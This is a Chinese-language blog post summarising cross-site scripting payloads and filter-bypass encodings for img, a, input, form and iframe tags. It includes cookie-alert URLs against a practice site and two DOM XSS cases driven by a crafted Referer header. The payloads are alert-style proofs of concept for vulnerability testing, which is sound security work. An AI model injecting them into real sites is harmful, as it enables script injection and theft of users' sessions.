天天看點

XSS跨站腳本小結<img> 标簽<a> 标簽<input> 标簽當XSS遇到input hidden屬性<form> 标簽<iframe> 标簽

XSS漏洞驗證經常遇到一些過濾,如何進行有效驗證和繞過過濾呢,這裡小結一下常見的一些标簽,如<a><img>等。

參考連結:http://www.jb51.net/tools/xss.htm  http://d3adend.org/xss/ghettoBypass

';alert(String.fromCharCode(88,83,83))//

\';alert(String.fromCharCode(88,83,83))//

";alert(String.fromCharCode(88,83,83))//

\";alert(String.fromCharCode(88,83,83))//

--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

 <iframe src="http://www.baidu.com" height="250" width="300"></iframe>

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>

<script>alert(String.fromCharCode(88, 83, 83))</script>

<script>alert('xss')</script>

<p><svg onload=prompt(/xss/)></p>   //遇到過這種情況

%253Csvg%2520onload%253Dprompt(/xss/)%253E  //<>=雙層urlencode

在使用加号做字元串連接配接的時候,中間的js會被執行:

http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2balert(document.cookie)%2b%27

http://xsst.sinaapp.com/example/test1-2-3.php?page=%27%2bjQuery.globalEval(%27a%27%2b%27lert%27%2b%27(document.cookie)%27)%2b%27

<img> 标簽

XSS利用1:

<img src=javascript:alert('xss')>   //版本,E7.0|IE6.0,才能執行
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>  //版本,E7.0|IE6.0,才能執行      
<img src="URL" style='Xss:expression(alert(/xss/));'>  //版本,E7.0|IE6.0,才能執行
      

CSS标記XSS

<img STYLE="background-image:url(javascript:alert('XSS'))">  //版本,E7.0|IE6.0,才能執行

CSS樣式表的标記進行XSS轉碼

<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">   //版本,E7.0|IE6.0,才能執行

XSS利用2:

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> //可以不加"和;

原code:

<img src="x" onerror="alert(1)">

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>  //必須要有雙引号,不然執行不了

<img src="1" onerror=eval("alert('xss')")></img> //可以去掉雙引号

XSS利用3:      

<img src=1 onerror=alert('xss')> 

<img src=1 onmouseover=alert('xss') a1=1111> 

<a> 标簽

标準格式:

<a href="http://www.baidu.com">百度</a>

XSS利用1:
<a href="javascript:alert('xss')">2</a>  //可以去掉雙引号

<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>   //不能去掉雙引号
<a href=javascript:eval("&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;")>2</a>  //可以去掉雙引号
原code:      
<a href=javascript:eval("alert('xss')")>2</a>

      

<a href="javascript:aaa" onmouseover="alert(/xss/)">22222222</a>

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">2</a>
<a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>XSStest</a>
原code:      
<a href="javascript:alert('xss')">2</a>      
xss利用2:
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> //base64編碼,在谷歌浏覽器可以成功解析

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">test</a>
原code:
      
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
<script>alert('xss')</script>

XSS利用3:
<a href="" onclick="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">aaaaa</a>   //可以去掉雙引号和;
原code:
<a href="" onclick="alert(1)">aaaaa</a>

<a href="" onclick=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>aaaaa</a> 
<a href="" onclick=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>aaaaa</a>   //單引号和雙引号都可以
<a href="" onclick=eval(&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41)>aaaaa</a>  //可以成功彈窗,如果在url位址欄輸入的時候,要進行urlenode編碼

原code:
eval("alert('xss')")

      

<a href="#" onclick=alert(‘\170\163\163’)>test3</a>  //可以成功執行

原code:

<a href="#" onclick=alert('xss')>test3</a>

XSS利用4:
<a href=kycg.asp?ttt=1000 onmouseover=prompt(123) y=2016>2</a>   //可以實作彈窗

      

<input> 标簽

一般格式:<INPUT name="name" value="">

<input value="" onclick="alert(11)" type="text">

<INPUT name="name" value="01/01/1967" onmouseover=prompt(971874) bad="">

<INPUT name="name" value=""><script>alert(123)</script>

小技巧:
      

當XSS遇到input hidden屬性

1、使用expression突破

<input type=hidden style=`x:expression(alert(/xss/))`>      

直接利用CSS的expression屬性來實作突破,此技巧适用于IE6及以下的浏覽器。

2​、使用accesskey突破

<input type="hidden" accesskey="X" onclick="alert(/xss/)">      

插入之後,使用ALT+SHIFT+X快捷鍵來觸發XSS,此方法我在firefox下面測試通過,其它浏覽器尚未可知。

類似這種span标簽在網頁無觸發點,也可以這樣子用。

<span id="span"  recieveurl='xxxeId=1' accesskey='X' onclick='alert(/xss/)' bad=''></span>

<form> 标簽

<form method=Post action=kycg.asp?ttt=1000 onmouseover=prompt(962613) y=&enddate=2016 > #action後面直接空格

  <input type='text' name='page' value=0>

  <input name='submit' type='submit' value='GO' class="input2">

</form>

<form method=Post action=javascript:alert('xss') >

<form method=Post action=1 onmouseover=alert(123) bbb=111 >

  <input type='text' name='page' value=0>

  <input name='submit' type='submit' value='GO' class="input2">

</form>

<form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe> 标簽

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe> 

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>     //谷歌浏覽器下實作彈窗


<iframe src=1 onmouseover=alert('xss') y=2016 /><iframe> 

<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;;" frameborder="0" width="100%" height="1120px"></iframe> //遇到的有點特别

<iframe src="vbscript:msgbox(123)"></iframe>

      

​ 關于我:一個網絡安全愛好者,緻力于分享原創高品質幹貨,歡迎關注我的個人微信公衆号:Bypass--,浏覽更多精彩文章。

XSS跨站腳本小結&lt;img&gt; 标簽&lt;a&gt; 标簽&lt;input&gt; 标簽當XSS遇到input hidden屬性&lt;form&gt; 标簽&lt;iframe&gt; 标簽
遇到的DOM xss 記錄一下:

      
123
<script type="text/javascript">
document.write(unescape("%3Cscript src='/visit_log.jspx%3Furl%3D")+document.location.href+unescape("%26referrer%3D")+document.referrer+unescape("' type='text/javascript'%3E%3C/script%3E"));
</script>      

http://192.168.106.141/1.html

Referer:http://%22'accesskey='X'onclick='alert(/xss/)'//

DOM案例二:

XSS跨站腳本小結&lt;img&gt; 标簽&lt;a&gt; 标簽&lt;input&gt; 标簽當XSS遇到input hidden屬性&lt;form&gt; 标簽&lt;iframe&gt; 标簽
123
<script type="text/javascript">
function SetCookie(sName, sValue, timeKeep)
{
    var now=new Date();
    var expireTime= new Date(now.valueOf()+timeKeep*60000*60);
    document.cookie = sName + "=" + escape(sValue) + "; path=/; expires=" + expireTime.toGMTString() + ";";
}

function GetCookie(sName)
{
    var aCookie = document.cookie.split("; ");
    for (var i=0; i < aCookie.length; i++)
    {
        var aCrumb = aCookie[i].split("=");
        if (sName == aCrumb[0]) 
            return unescape(aCrumb[1]);
    }
    return null;
}

function GetCurrentDateTime()
{
    var date = new Date();
    var current=new String("");
    current += date.getFullYear()+"-";
    current += date.getMonth() + 1+"-";
    current += date.getDate()+" ";
    current += date.getHours()+":";
    current += date.getMinutes()+":";
    current += date.getSeconds();
    return current;
}

function AddTrackerCount(url, siteID){
    try{
        var str_cookie_unique = "tracker_cookie_" + siteID;
        var str_cookie_datetime = "tracker_cookie_datetime_" + siteID;
        
        var str_firstAccessUser;
        if (GetCookie(str_cookie_unique)==null)
        {
            str_firstAccessUser = "True";
            SetCookie(str_cookie_unique,"True",24);
        }
        else
            str_firstAccessUser="False";
        
        
        var str_tracker_lastAccess_datetime = GetCookie(str_cookie_datetime);
        
        SetCookie(str_cookie_datetime,GetCurrentDateTime(),365*24);
        if (str_tracker_lastAccess_datetime==null)
            str_tracker_lastAccess_datetime = "";


        var pars = '&isFirstAccess=' + str_firstAccessUser + '&location=' + escape(location.href) + '&referrer=' + escape(document.referrer) + '&lastAccessDateTime=' + escape(str_tracker_lastAccess_datetime);
        
        document.write(unescape("%3Cscript src='" + url + pars + "' type='text/javascript'%3E%3C/script%3E"));
    }catch(e){}
}
</script>


<script type="text/javascript">AddTrackerCount('/sitefiles/services/cms/PageService.aspx?type=AddTrackerCount&publishmentSystemID=1&channelID=17&contentID=269',1);</script>      

繼續閱讀